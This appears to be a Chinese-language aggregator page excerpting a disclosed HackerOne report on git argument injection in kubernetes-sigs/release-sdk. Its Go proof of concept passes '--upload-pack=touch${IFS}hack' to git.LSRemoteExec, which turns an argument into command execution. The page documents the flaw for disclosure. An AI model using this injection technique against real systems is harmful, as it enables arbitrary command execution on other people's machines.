Git Arg Injection in kubernetes-sigs/release-sdk
该报告还没有中文解读。
原文摘录
摘自原文(1843 字符中的一小部分)
Technical Details: It's possible to get a command injection via argument injection.
原文中的代码
package main
import (
"fmt"
"github.com/kubernetes-sigs/release-sdk/git"
)
func main() {
fmt.Println("hello world")
var result,err = git.LSRemoteExec("--upload-pack=touch${IFS}hack","master")
if err != nil {
fmt.Println(err)
}
fmt.Println(result)
}
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Kubernetes 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @snoopysecurity · 版权归作者与 Kubernetes 所有